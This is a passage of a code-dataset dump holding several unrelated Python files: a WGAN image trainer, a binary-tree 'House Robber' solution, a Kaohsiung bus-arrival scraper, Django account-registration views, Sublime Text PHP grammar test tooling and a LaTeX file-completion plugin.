self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_culprit.py","file_name":"_culprit.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"370150994","text":"import os\nimport torch.optim as optim\nfrom models.ImageAutoEncoder import ImageDecoder\nfrom models.ImgDiscriminator import *\n\nfrom losses import *\nfrom trainers.trainer import trainer\nfrom utils import *\nfrom itertools import chain\n\nclass wgan_trainer(trainer):\n\n def __init__(self, args, embedding, vocab):\n super(wgan_trainer, self).__init__(args, embedding, vocab)\n\n # Setting up the networks\n self.networks[\"generator\"] = ImageDecoder(feature_dimension=args.latent_size,\n img_dimension= args.crop_size)\n\n self.networks[\"discriminator\"] = ImgDiscriminator(args.crop_size)\n\n\n # Setting up the optimizers\n self.optimizers[\"generator\"] = optim.Adam(self.networks[\"generator\"].parameters(),\\\n lr=args.learning_rate, betas=(0.5, 0.999), weight_decay=0.00001)\n\n # self.optimizers[\"discriminator\"] = optim.RMSprop(self.networks[\"discriminator\"].parameters(),\n # lr=args.learning_rate)\n self.optimizers[\"discriminator\"] = optim.Adam(self.networks[\"discriminator\"].parameters(),\\\n lr=args.learning_rate, betas=(0.5, 0.999), weight_decay=0.00001)\n\n self.one = torch.FloatTensor([1])\n self.mone = self.one * -1\n if args.cuda:\n self.one = self.one.cuda()\n self.mone = self.mone.cuda()\n\n\n # self.gen_loss = Variable(torch.FloatTensor([1]* args.batch_size))\n # self.dis_loss = Variable(torch.FloatTensor([1]* args.batch_size))\n self.nets_to_cuda()\n\n self.step = 0\n\n # Setting up the losses\n self.create_losses_meter([\"Ls_D\", \"Ls_G\", \"Ls_D_rl\", \"Ls_D_fk\",\"Ls_GP\"])\n\n # Setting up the noise\n self.noise = torch.FloatTensor(args.batch_size, args.latent_size, 1, 1).cuda()\n self.fixed_noise = Variable(torch.FloatTensor(args.batch_size, args.latent_size, 1, 1).normal_(0, 1).cuda())\n\n def forward(self, epoch, images, captions, lengths, save_images):\n\n if self.iteration < 2500:\n cycle = 101\n else:\n cycle = 6\n\n # train_gen = self.iteration > 500 and self.iteration % 6\n if not self.iteration % cycle:\n #\n for p in self.networks[\"discriminator\"].parameters(): # reset requires_grad\n p.requires_grad = False # they are set to False below in netG update\n\n self.train_G(epoch, images, captions, lengths)\n # self.optimizers[\"generator\"].step()\n #\n for p in self.networks[\"discriminator\"].parameters(): # reset requires_grad\n p.requires_grad = True # they are set to False below in netG update\n else:\n\n self.train_D(epoch, images, captions, lengths)\n\n self.iteration += 1\n # Log Losses:\n # self.losses[\"GEN_loss\"].update(self.gen_loss.data[0],self.args.batch_size)\n # self.losses[\"DIS_loss\"].update(self.dis_loss.data[0],self.args.batch_size)\n\n if save_images:\n self.save_samples(images[0], self.networks[\"generator\"](self.fixed_noise)[0], captions[0], captions[0])\n\n\n\n def train_D(self,epoch, images, captions, lengths):\n\n # clamp parameters to a cube\n for p in self.networks[\"discriminator\"].parameters():\n p.data.clamp_(-0.01, 0.01)\n\n # train with real\n self.networks[\"discriminator\"].zero_grad()\n\n errD_real = self.networks[\"discriminator\"](images)\n errD_real.backward(self.one)\n\n # train with fake\n self.noise.resize_(self.args.batch_size, self.args.latent_size, 1, 1).normal_(0, 1)\n noisev = Variable(self.noise, volatile=True) # totally freeze netG\n fake = Variable(self.networks[\"generator\"](noisev).data)\n\n inputv = fake\n errD_fake = self.networks[\"discriminator\"](inputv)\n errD_fake.backward(self.mone)\n\n errGP = calc_gradient_penalty(self.networks[\"discriminator\"], images, fake)\n errGP.backward()\n\n errD = errD_real - errD_fake + errGP\n self.optimizers[\"discriminator\"].step()\n\n self.losses[\"Ls_D\"].update(errD.data[0], self.args.batch_size)\n self.losses[\"Ls_D_fk\"].update(errD_fake.data[0], self.args.batch_size)\n self.losses[\"Ls_D_rl\"].update(errD_real.data[0], self.args.batch_size)\n self.losses[\"Ls_GP\"].update(errGP.data[0], self.args.batch_size)\n\n # Gradient Penalty\n\n # img_gp = calc_gradient_penalty(self.networks[\"discriminator\"], images, img_gen)\n\n\n def train_G(self,epoch, images, captions, lengths):\n self.networks[\"generator\"].zero_grad()\n # in case our last batch was the tail batch of the dataloader,\n # make sure we feed a full batch of noise\n self.noise.resize_(self.args.batch_size, self.args.latent_size, 1, 1).normal_(0, 1)\n noisev = Variable(self.noise)\n fake = self.networks[\"generator\"](noisev)\n errG = self.networks[\"discriminator\"](fake)\n errG.backward(self.one)\n self.optimizers[\"generator\"].step()\n\n self.losses[\"Ls_G\"].update(errG.data[0], self.args.batch_size)\n\n def backpropagate(self, loss):\n loss.backward()\n for opt in self.optimizers.values():\n opt.step()\n self.step += 1\n\n\n","sub_path":"trainers/wgan_trainer.py","file_name":"wgan_trainer.py","file_ext":"py","file_size_in_byte":5373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"13635821","text":"# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution(object):\n\n def rob(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n\n if not root:\n return 0\n if not root.left and not root.right:\n return root.val\n # case1:\n case1 = root.val\n if root.left:\n if root.left.left:\n case1 += self.rob(root.left.left)\n if root.left.right:\n case1 += self.rob(root.left.right)\n if root.right:\n if root.right.left:\n case1 += self.rob(root.right.left)\n if root.right.right:\n case1 += self.rob(root.right.right)\n # case2:\n case2 = 0\n if root.left:\n case2 += self.rob(root.left)\n if root.right:\n case2 += self.rob(root.right)\n\n return max(case1, case2)\n","sub_path":"HouseRobberIII.py","file_name":"HouseRobberIII.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"269457697","text":"import urllib.request as req\r\nimport bs4\r\nimport json\r\n\r\n# --------------- 將 url 解析成 list 後回傳 ---------------\r\ndef getdata(url):\r\n re = req.Request(url , headers = {\r\n \"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\"\r\n })\r\n\r\n with req.urlopen(re) as response:\r\n jsondata = response.read().decode(\"utf-8\")\r\n\r\n jsondata = json.loads(jsondata)\r\n\r\n return jsondata\r\n\r\n\r\n\r\n\r\n\r\n# --------------- 建立一個 request 物件,附加 request header 的資訊好做爬蟲動作不被隔擋 ---------------\r\nurl = \"https://ibus.tbkc.gov.tw/cms/driving-map\"\r\n\r\nre = req.Request(url , headers = {\r\n \"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\"\r\n})\r\n\r\nwith req.urlopen(re) as response:\r\n data = response.read().decode(\"utf-8\")\r\n\r\n\r\n\r\n# --------------- 抓 html 原始碼,篩選出 type = text/javascript script 標籤內容,再將篩選內容轉成 str 型態 ---------------\r\nroot = bs4.BeautifulSoup(data , \"html.parser\")\r\ntitle = root.find_all(\"script\" , {\"type\":\"text/javascript\"})\r\ntitle1 = (str(title))\r\n\r\n\r\n\r\n# --------------- 擷取篩選過的字串中部分的資料(provider ~ bus_type 之前的資料) ---------------\r\ntitle2 = 'provider:'\r\ntitle3 = 'bus_type'\r\ndata = title1[title1.index(title2):title1.index(title3)]\r\n\r\n\r\n\r\n# --------------- 將部分擷取的資料再擷取, 用 eval() 函式 把 str 處理成其他型態的資料 ---------------\r\ntitle2 = '{\"ProviderId\"'\r\ntitle3 = '\"}],'\r\ndata = data[data.index(title2):data.index(title3)+2]\r\nb = eval(data)\r\n\r\n\r\n\r\n#--------------- 抓處理過的資料所含的 routeMapImageUrl 對應值(url)---------------\r\nurlstr = []\r\nnamezh = []\r\nfor i in b:\r\n if(i[\"routeMapImageUrl\"] != \"\"):\r\n carname = i[\"NameZh\"]\r\n str1 = i[\"routeMapImageUrl\"]\r\n str2 = ':\\/\\/ibus.tbkc.gov.tw\\/cms\\/api\\/route\\/' \r\n str3 = 'map'\r\n\r\n jsonurl = \"https\" + str1[str1.index(str2):str1.index(str3)] + \"estimate\"\r\n jsonurl = jsonurl.replace('\\/','/')\r\n urlstr.append(jsonurl)\r\n namezh.append(carname)\r\n\r\n\r\n\r\n# --------------- main ---------------\r\nindex=0\r\nfor url in urlstr:\r\n jsondata=getdata(url)\r\n \r\n count = 0\r\n while count<2: # count<2 代表抓2班公車的資訊\r\n print(\"[車名] : \" , namezh[index])\r\n \r\n for i in jsondata:\r\n print(\"[站名] : \" , i[\"StopName\"])\r\n print(\"[到站時間] : \",i[\"ComeTime\"])\r\n print()\r\n print(\"===============================================================================\")\r\n index+=1\r\n count+=1\r\n break\r\n","sub_path":"KHbus.py","file_name":"KHbus.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"483653442","text":"import hashlib\nimport random\nfrom datetime import datetime\nfrom django.db import transaction, IntegrityError\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import logout\nfrom django.contrib.auth.models import User\nfrom django.shortcuts import render_to_response, get_object_or_404, render, redirect\nfrom django.http import HttpResponseRedirect\nfrom django.utils import timezone\nfrom accounts.forms import RegistrationForm\nfrom accounts.models import Profile\n\nimport logging\n\nlog = logging.getLogger(__name__)\n\n\ndef register(request):\n if request.user.is_authenticated():\n return redirect(home)\n form = RegistrationForm()\n if request.method == 'POST':\n form = RegistrationForm(request.POST)\n if form.is_valid():\n data={}\n data['username'] = form.cleaned_data['username']\n data['email'] = form.cleaned_data['email']\n data['password1'] = form.cleaned_data['password1']\n\n salt = hashlib.sha1(str(random.random())).hexdigest()[:5]\n user_name_salt = data['username']\n if isinstance(user_name_salt, unicode):\n user_name_salt = user_name_salt.encode('utf8')\n data['activation_key'] = hashlib.sha1(salt+user_name_salt).hexdigest()\n data['email_subject'] = \"Activation mail\"\n data['host_name'] = request.get_host()\n form.sendEmail(data)\n form.save(data)\n\n request.session['registered']=True\n return redirect(home)\n else:\n registration_form = form\n return render(request, 'registration/register.html', locals())\n\n\ndef register_success(request):\n return render_to_response(\n 'registration/success.html',\n )\n\n\ndef logout_page(request):\n logout(request)\n return HttpResponseRedirect('/')\n\n\n@login_required\ndef home(request):\n return render_to_response('home.html',{'user': request.user})\n\n\ndef activation(request, key):\n activation_expired = False\n already_active = False\n profile = get_object_or_404(Profile, activation_key=key)\n if not profile.user.is_active:\n if timezone.now() > profile.key_expires:\n activation_expired = True\n id_user = profile.user.id\n else:\n profile.user.is_active = True\n profile.user.save()\n\n else:\n already_active = True\n return render(request, 'registration/success.html', locals())\n\n\ndef new_activation_link(request, user_id):\n form = RegistrationForm()\n data = {}\n user = User.objects.get(id=user_id)\n if user is not None and not user.is_active:\n data['username'] = user.username\n data['email'] = user.email\n data['email_subject'] = \"New activation link\"\n\n salt = hashlib.sha1(str(random.random())).hexdigest()[:5]\n user_name_salt = data['username']\n if isinstance(user_name_salt, unicode):\n user_name_salt = user_name_salt.encode('utf8')\n data['activation_key'] = hashlib.sha1(salt+user_name_salt).hexdigest()\n\n profile = Profile.objects.get(user=user)\n profile.activation_key = data['activation_key']\n profile.key_expires = datetime.datetime.strftime(datetime.datetime.now() + datetime.timedelta(days=2), \"%Y-%m-%d %H:%M:%S\")\n profile.list_of_friends = []\n profile.save()\n\n form.sendEmail(data)\n request.session['new_link'] = True\n\n return redirect(home)\n\n\ndef add_nothing(request):\n return render_to_response('friends.html', {'user': request.user})\n\n\ndef add_friend(request, friend_id):\n if request.method == 'POST':\n user = User.objects.get(id=request.POST['user'])\n friend = User.objects.get(id=friend_id)\n if user is not None and friend is not None and (user.is_active and friend.is_active):\n user_profile = Profile.objects.get(user=user)\n user_profile.add_friend(friend_id)\n user_profile.save()\n friend_profile = Profile.objects.get(user=friend)\n friend_profile.add_friend(user.id)\n friend_profile.save()\n\n\n","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"499961971","text":"from threading import Thread\nimport unittest\nimport os\nimport glob\nimport re\n\nimport sublime\nimport sublime_plugin\n\nif bool(os.getenv('SUBLIME_PHP_GRAMMAR_DEBUG')):\n def debug_message(message):\n print('DEBUG php-grammar test: %s' % str(message))\nelse:\n def debug_message(message):\n pass\n\n\nclass Configuration():\n def on_load(self):\n self.package_root_path = os.path.dirname(__file__)\n self.package_name = os.path.basename(self.package_root_path)\n self.tests_root_path = os.path.join(self.package_root_path, 'tests')\n\n if int(sublime.version()) >= 3092:\n self.syntax_file_path = os.path.join('Packages', self.package_name, 'PHP.sublime-syntax')\n else:\n self.syntax_file_path = os.path.join('Packages', self.package_name, 'PHP.tmLanguage')\n\n\nconfiguration = Configuration()\n\n\ndef plugin_loaded():\n configuration.on_load()\n\n\nclass SublimeViewAPI():\n\n def __init__(self, view):\n self.view = view\n\n def to_str(self):\n return self.view.substr(sublime.Region(0, self.view.size()))\n\n def to_scope_name_repr(self, region=None):\n \"\"\"\n Return a string scope name representation of the view content.\n\n Each point in the view is converted to a scope name. A newline is\n appended to each scope name.\n \"\"\"\n content = ''\n\n if region is None:\n in_range = range(self.view.size())\n else:\n in_range = range(region.begin(), region.end())\n\n for point in in_range:\n content += self.view.scope_name(point).strip() + \"\\n\"\n\n return content.strip()\n\n\nclass GeneratePhpGrammarSyntaxTestExpectation(sublime_plugin.TextCommand):\n\n def run(self, edit):\n\n test_begin_line_region = self.view.find('^--TEST--$', 0)\n file_begin_line_region = self.view.find('^--FILE--$', 0)\n expect_begin_line_region = self.view.find('^--EXPECT--$', 0)\n\n if test_begin_line_region.empty() or file_begin_line_region.empty() or expect_begin_line_region.empty():\n return\n\n file_desciption_region = sublime.Region(test_begin_line_region.end() + 1, file_begin_line_region.begin() - 1)\n file_content_region = sublime.Region(file_begin_line_region.end() + 1, expect_begin_line_region.begin() - 1)\n expect_content_region = sublime.Region(expect_begin_line_region.end() + 1, self.view.size())\n\n if file_desciption_region.empty() or file_content_region.empty():\n return\n\n file_content_scope_repr = SublimeViewAPI(self.view).to_scope_name_repr(file_content_region)\n\n self.view.replace(edit, expect_content_region, file_content_scope_repr.strip())\n\n def is_enabled(self):\n if not self.view.file_name():\n return False\n return bool(re.match('.*[a-z][a-z0-9_]*[a-z0-9]_test.php$', self.view.file_name()))\n\n\nif bool(os.getenv('SUBLIME_PHP_GRAMMAR_DEBUG')):\n\n class PhpGrammarShowCursorScopeNameInStatusLine(sublime_plugin.EventListener):\n \"\"\"Update the status line with the scope name under the cursor.\"\"\"\n\n def on_post_text_command(self, view, command_name, args):\n self.update_scope(view)\n\n def on_post_window_command(self, window, command_name, args):\n view = window.active_view()\n if not view:\n return\n\n self.update_scope(view)\n\n if 3000 <= int(sublime.version()) < 3070:\n # Works around issue where on_post_window_command never gets called\n # See https://github.com/SublimeTextIssues/Core/issues/141\n def on_window_command(self, window, command_name, args):\n self.on_post_window_command(window, command_name, args)\n\n def update_scope(self, view):\n for region in view.sel():\n scope_name = view.scope_name(region.begin()).strip()\n view.set_status('scope', 'Scope: \"' + scope_name + '\"')\n return\n\n\nclass __php_grammar_test_view_replace(sublime_plugin.TextCommand):\n\n def run(self, edit, text):\n self.view.replace(edit, sublime.Region(0, self.view.size()), text)\n\n\nclass __php_grammar_test_view_replace_cursor(sublime_plugin.TextCommand):\n\n def run(self, edit, reverse=False):\n\n if reverse:\n cursor_position = self.view.sel()[0]\n self.view.replace(edit, cursor_position, '|')\n else:\n cursor_placeholder = self.view.find('\\|', 0)\n\n if not cursor_placeholder or cursor_placeholder.empty():\n return\n\n self.view.sel().clear()\n self.view.sel().add(cursor_placeholder.begin())\n self.view.replace(edit, cursor_placeholder, '')\n\n\nclass ViewTestCase(unittest.TestCase):\n\n def setUp(self):\n self.view = sublime.active_window().new_file()\n self.view.set_scratch(True)\n self.view.settings().set('auto_indent', False)\n self.view.settings().set('indent_to_bracket', False)\n self.view.settings().set('tab_size', 4)\n self.view.settings().set('trim_automatic_white_space', False)\n self.view.settings().set('smart_indent', True)\n self.view.settings().set('tab_size', 4)\n self.view.settings().set('translate_tabs_to_spaces', True)\n self.view.set_syntax_file(configuration.syntax_file_path)\n self.maxDiff = None\n\n def tearDown(self):\n if self.view:\n self.view.close()\n\n def set_view_content(self, content, replace_cursor_position=False):\n self.view.run_command('__php_grammar_test_view_replace', {'text': content})\n if replace_cursor_position:\n self.view.run_command('__php_grammar_test_view_replace_cursor')\n\n def get_view_content(self, replace_cursor_position=False):\n if replace_cursor_position:\n self.view.run_command('__php_grammar_test_view_replace_cursor', {'reverse': True})\n return SublimeViewAPI(self.view).to_str()\n\n def view_to_scope_name_repr(self):\n return SublimeViewAPI(self.view).to_scope_name_repr()\n\n\nclass TestFile():\n\n def __init__(self, description, actual_content, expected_content, syntax=None):\n self.description = description\n self.actual_content = actual_content\n self.expected_content = expected_content\n self.syntax = syntax\n\n def from_file(file_name):\n with open(file_name) as f:\n actual_content = f.read()\n\n if '--TEST--' in actual_content:\n res = re.split('--([A-Z]+)--\\n', actual_content)\n\n error_message = 'invalid test file: %s' % file_name\n\n if 'TEST' not in res:\n raise RuntimeError(error_message)\n\n if 'FILE' not in res:\n raise RuntimeError(error_message)\n\n if 'EXPECT' not in res:\n raise RuntimeError(error_message)\n\n description = res[res.index('TEST') + 1].strip()\n actual_content = res[res.index('FILE') + 1].strip()\n expected_content = res[res.index('EXPECT') + 1].strip()\n syntax = None\n if 'SYNTAX' in res:\n syntax = res[res.index('SYNTAX') + 1].strip()\n else:\n description = file_name\n with open(file_name.replace('_test.php', '_test_expect.php')) as f:\n expected_content = f.read()\n syntax = None\n\n return TestFile(description, actual_content, expected_content, syntax)\n\n\nclass TestIndentation(ViewTestCase):\n\n def test_indentation_file_tests(self):\n test_files = glob.glob(os.path.join(configuration.tests_root_path, 'indentation') + '/*_test.php')\n for test_file_name in test_files:\n\n test_file = TestFile.from_file(test_file_name)\n self.set_view_content(test_file.actual_content)\n self.view.run_command('reindent', {'force_indent': True, 'single_line': False})\n self.assertEqual(test_file.expected_content, self.get_view_content(), \"\\n\\ntest:\" + test_file_name)\n\n\nclass TestSyntax(ViewTestCase):\n\n def test_syntax_file_tests(self):\n if int(sublime.version()) >= 3092:\n # newer versions use the new syntax test system provided by the ST core\n return\n\n test_files = glob.glob(os.path.join(configuration.tests_root_path, 'syntax') + '/lt_3092/*_test.php')\n for test_file_name in test_files:\n\n test_file = TestFile.from_file(test_file_name)\n if test_file.syntax:\n self.view.set_syntax_file(test_file.syntax)\n\n self.set_view_content(test_file.actual_content)\n\n if ':' not in test_file.expected_content:\n self.assertEqual(\n test_file.expected_content,\n self.view_to_scope_name_repr(),\n \"\\n\\ntest:\" + test_file_name\n )\n else:\n assertions = test_file.expected_content.splitlines()\n for assertion in assertions:\n if not len(assertion) > 0:\n # allow blank lines\n continue\n\n assertion = assertion.split(':')\n\n name = assertion[0]\n line = int(assertion[1])\n offset = int(assertion[2])\n selector = assertion[3]\n\n if name == 'match':\n self.assertMatchSelector(line, offset, selector)\n elif name == 'equal':\n self.assertEqualsScope(line, offset, selector)\n else:\n raise RuntimeError('Invalid syntax test file: %s' % test_file_name)\n\n def assertMatchSelector(self, line, offset, selector):\n point = self.view.text_point(line, offset)\n selector_score = self.view.score_selector(point, selector)\n actual_scope = self.view.scope_name(point).strip()\n self.assertGreater(\n selector_score,\n 0,\n 'Expected selector score greater than 0 for (line:{}, offset:{}, point:{}, selector:{}) *** ACTUAL: \"{}\"'\n .format(line, offset, point, selector, actual_scope)\n )\n\n def assertEqualsScope(self, line, offset, expected_scope):\n point = self.view.text_point(line, offset)\n actual_scope = self.view.scope_name(point).strip()\n self.assertEqual(expected_scope, actual_scope)\n\n\nclass OutputPanel(object):\n\n def __init__(self, window, name):\n self.window = window\n self.name = name\n self.view = self.window.create_output_panel(self.name)\n self.view.settings().set('word_wrap', False)\n self.view.settings().set('line_numbers', False)\n self.view.settings().set('gutter', False)\n self.view.settings().set('scroll_past_end', False)\n\n def write(self, s):\n sublime.set_timeout(lambda: self.view.run_command('append', {'characters': s}), 0)\n\n def flush(self):\n pass\n\n def show(self):\n self.window.run_command('show_panel', {'panel': 'output.' + self.name})\n\n def close(self):\n pass\n\n\nclass TextTestRunner():\n\n def __init__(self, window):\n self.window = window\n self.test_loader = unittest.TestLoader()\n self.suite = unittest.TestSuite()\n self.syntax_tests_loaded = False\n self.indentation_tests_loaded = False\n self.syntax_tests_loaded = False\n\n def run(self, syntax_tests=False, indentation_tests=False):\n if not syntax_tests and not indentation_tests:\n return\n\n if indentation_tests:\n self.suite.addTest(self.test_loader.loadTestsFromTestCase(TestIndentation))\n self.indentation_tests_loaded = True\n\n if syntax_tests:\n if int(sublime.version()) < 3092:\n # newer versions use the new syntax test system provided by the ST core\n self.suite.addTest(self.test_loader.loadTestsFromTestCase(TestSyntax))\n self.syntax_tests_loaded = True\n\n self.display = OutputPanel(self.window, 'php-grammar.tests')\n self.display.show()\n\n runner = unittest.TextTestRunner(stream=self.display, verbosity=2)\n\n def run_and_display():\n\n if self.syntax_tests_loaded:\n\n import sublime_api\n\n syntax_tests = sublime.find_resources(\"syntax_test*\")\n\n tests = []\n for syntax_test in syntax_tests:\n if \"php-grammar\" in syntax_test:\n tests.append(syntax_test)\n\n self.append_string(\"Run syntax tests...\\n\")\n\n output = \"\"\n total_assertions = 0\n failed_assertions = 0\n for test in tests:\n # self.append_string('syntax test: ' + test + \"... ok\\n\")\n\n assertions, test_output_lines = sublime_api.run_syntax_test(test)\n total_assertions += assertions\n if len(test_output_lines) > 0:\n failed_assertions += len(test_output_lines)\n for line in test_output_lines:\n output += line + \"\\n\"\n\n self.append_string(output)\n\n if failed_assertions > 0:\n self.append_string(\n \"FAILED: %d of %d assertions in %d files failed\\n\" %\n (failed_assertions, total_assertions, len(tests))\n )\n else:\n self.append_string(\n \"Syntax test success: %d assertions in %s files passed\\n\" %\n (total_assertions, len(tests))\n )\n\n self.append_string(\"OK\\n\")\n\n if self.indentation_tests_loaded:\n self.append_string(\"Run indentation tests...\\n\")\n runner.run(self.suite)\n\n Thread(target=run_and_display).start()\n\n def append_string(self, string):\n self.display.view.run_command('append', {\n 'characters': string,\n 'force': True,\n 'scroll_to_end': True\n })\n\n\nclass RunPhpGrammarIndentationTests(sublime_plugin.WindowCommand):\n \"\"\"Run the indetation tests.\"\"\"\n\n def run(self):\n TextTestRunner(self.window).run(indentation_tests=True)\n\n\nclass RunPhpGrammarSyntaxTests(sublime_plugin.WindowCommand):\n \"\"\"Run the syntax tests.\"\"\"\n\n def run(self):\n TextTestRunner(self.window).run(syntax_tests=True)\n\n\nclass RunPhpGrammarTests(sublime_plugin.WindowCommand):\n \"\"\"Run all the tests.\"\"\"\n\n def run(self):\n TextTestRunner(self.window).run(syntax_tests=True, indentation_tests=True)\n","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":14688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"595753348","text":"# -*- coding:utf-8 -*-\n# ST2/ST3 compat\nfrom __future__ import print_function\nimport sublime\nimport sublime_plugin\n\nimport os\nimport re\nimport json\n\ntry:\n from latextools_utils.is_tex_file import get_tex_extensions\nexcept ImportError:\n from .latextools_utils.is_tex_file import get_tex_extensions\n\nif sublime.version() < '3000':\n # we are on ST2 and Python 2.X\n _ST3 = False\n import getTeXRoot\n from latextools_utils import get_setting\nelse:\n _ST3 = True\n from . import getTeXRoot\n from .latextools_utils import get_setting\n\n\n# Only work for \\include{} and \\input{} and \\includegraphics\nTEX_INPUT_FILE_REGEX = re.compile(\n r'([^{}\\[\\]]*)\\{edulcni\\\\'\n + r'|([^{}\\[\\]]*)\\{tupni\\\\'\n + r'|([^{}\\[\\]]*)\\{(?:\\][^{}\\[\\]]*\\[)?scihpargedulcni\\\\'\n + r'|([^{}\\[\\]]*)\\{(?:\\][^{}\\[\\]]*\\[)?ecruoserbibdda\\\\'\n + r'|([^{}\\[\\]]*)\\{yhpargoilbib\\\\'\n + r'|([^{}\\[\\]]*)\\{(?:\\][^{}\\[\\]]*\\[)?ssalctnemucod\\\\'\n + r'|([^{}\\[\\]]*)\\{(?:\\][^{}\\[\\]]*\\[)?egakcapesu\\\\'\n + r'|([^{}\\[\\]]*)\\{elytsyhpargoilbib\\\\'\n)\n\n# Get all file by types\ndef get_file_list(root, types, filter_exts=[]):\n path = os.path.dirname(root)\n\n def file_match(f):\n filename, extname = os.path.splitext(f)\n # ensure file has extension and its in the list of types\n if extname and not extname[1:].lower() in types:\n return False\n\n return True\n\n completions = []\n for dir_name, dirs, files in os.walk(path):\n files = [f for f in files if f[0] != '.' and file_match(f)]\n dirs[:] = [d for d in dirs if d[0] != '.']\n for f in files:\n full_path = os.path.join(dir_name, f)\n # Exclude image file have the same name of root file,\n # which may be the pdf file of the root files,\n # only pdf format.\n if os.path.splitext(root)[0] == os.path.splitext(full_path)[0]:\n continue\n\n for ext in filter_exts:\n if f.endswith(ext):\n f = f[:-len(ext)]\n\n completions.append((os.path.relpath(dir_name, path), f))\n\n return completions\n\n\ndef parse_completions(view, line):\n # reverse line, copied from latex_cite_completions, very cool :)\n line = line[::-1]\n\n # Do matches!\n search = TEX_INPUT_FILE_REGEX.match(line)\n\n installed_cls = []\n installed_bst = []\n installed_pkg = []\n input_file_types = None\n\n if search is not None:\n ( include_filter,\n input_filter,\n image_filter,\n addbib_filter,\n bib_filter,\n cls_filter,\n pkg_filter,\n bst_filter) = search.groups()\n else:\n return '', []\n\n # it isn't always correct to include the extension in the output filename\n # esp. with \\bibliography{}; here we provide a mechanism to permit this\n filter_exts = []\n\n if include_filter is not None:\n # if is \\include\n prefix = include_filter[::-1]\n # filter the . from the start of the extention\n input_file_types = [e[1:] for e in get_tex_extensions()]\n # only cut off the .tex extension\n filter_exts = ['.tex']\n elif input_filter is not None:\n # if is \\input search type set to tex\n prefix = input_filter[::-1]\n # filter the . from the start of the extension\n input_file_types = [e[1:] for e in get_tex_extensions()]\n # only cut off the .tex extension\n filter_exts = ['.tex']\n elif image_filter is not None:\n # if is \\includegraphics\n prefix = image_filter[::-1]\n # Load image types from configurations\n # In order to user input, \"image_types\" must be set in\n # LaTeXTools.sublime-settings configuration file or the\n # project settings for the current view.\n input_file_types = get_setting('image_types', [\n 'pdf', 'png', 'jpeg', 'jpg', 'eps'\n ])\n elif addbib_filter is not None or bib_filter is not None:\n # For bibliography\n if addbib_filter is not None:\n prefix = addbib_filter[::-1]\n else:\n prefix = ''\n bib_filter[::-1]\n filter_exts = ['.bib']\n input_file_types = ['bib']\n elif cls_filter is not None or pkg_filter is not None or bst_filter is not None:\n # for packages, classes and bsts\n if _ST3:\n cache_path = os.path.normpath(\n os.path.join(\n sublime.cache_path(),\n \"LaTeXTools\"\n ))\n else:\n cache_path = os.path.normpath(\n os.path.join(\n sublime.packages_path(),\n \"User\"\n ))\n\n pkg_cache_file = os.path.normpath(\n os.path.join(cache_path, 'pkg_cache.cache' if _ST3 else 'latextools_pkg_cache.cache'))\n\n cache = None\n if not os.path.exists(pkg_cache_file):\n gen_cache = sublime.ok_cancel_dialog(\"Cache files for installed packages, \"\n + \"classes and bibliographystyles do not exists, \"\n + \"would you like to generate it? After generating complete, please re-run this completion action!\"\n )\n\n if gen_cache:\n sublime.active_window().run_command(\"latex_gen_pkg_cache\")\n completions = []\n else:\n with open(pkg_cache_file) as f:\n cache = json.load(f)\n\n if cache is not None:\n if cls_filter is not None:\n installed_cls = cache.get(\"cls\")\n elif bst_filter is not None:\n installed_bst = cache.get(\"bst\")\n else:\n installed_pkg = cache.get(\"pkg\")\n\n prefix = ''\n else:\n prefix = ''\n\n if len(installed_cls) > 0:\n completions = installed_cls\n elif len(installed_bst) > 0:\n completions = installed_bst\n elif len(installed_pkg) > 0:\n completions = installed_pkg\n elif input_file_types is not None:\n root = getTeXRoot.get_tex_root(view)\n if root:\n completions = get_file_list(root, input_file_types, filter_exts)\n else:\n # file is unsaved\n completions = []\n\n return prefix, completions\n\ndef add_closing_bracket(view, edit):\n caret = view.sel()[0].b\n view.insert(edit, caret, \"}\")\n view.sel().subtract(view.sel()[0])\n view.sel().add(sublime.Region(caret, caret))\n\nclass LatexFillInputCompletions(sublime_plugin.EventListener):\n def on_query_completions(self, view, prefix, locations):\n if not view.match_selector(0, 'text.tex.latex'):\n return []\n\n results = []\n\n for location in locations:\n _, completions = parse_completions(\n view,\n view.substr(sublime.Region(view.line(location).a, location))\n )\n\n if len(completions) == 0:\n continue\n elif not type(completions[0]) is tuple:\n pass\n else:\n completions = [\n # Replace backslash with forward slash to fix Windows paths\n # LaTeX does not support forward slashes in paths\n os.path.normpath(os.path.join(relpath, filename)).replace('\\\\', '/')\n for relpath, filename in completions\n ]\n\n line_remainder = view.substr(sublime.Region(location, view.line(location).b))\n if not line_remainder.startswith('}'):\n results.extend([(completion, completion + '}') \n for completion in completions\n ])\n else:\n results.extend([(completion, completion)\n for completion in completions\n ])\n\n if results:\n return (\n results, \n sublime.INHIBIT_WORD_COMPLETIONS |\n sublime.INHIBIT_EXPLICIT_COMPLETIONS\n )\n else:\n return []\n\nclass LatexFillInputCommand(sublime_plugin.TextCommand):\n def run(self, edit, insert_char=\"\"):\n view = self.view\n point = view.sel()[0].b\n # Only trigger within LaTeX\n # Note using score_selector rather than match_selector\n if not view.score_selector(point, \"text.tex.latex\"):\n return\n\n if insert_char:\n # append the insert_char to the end of the current line if it\n # 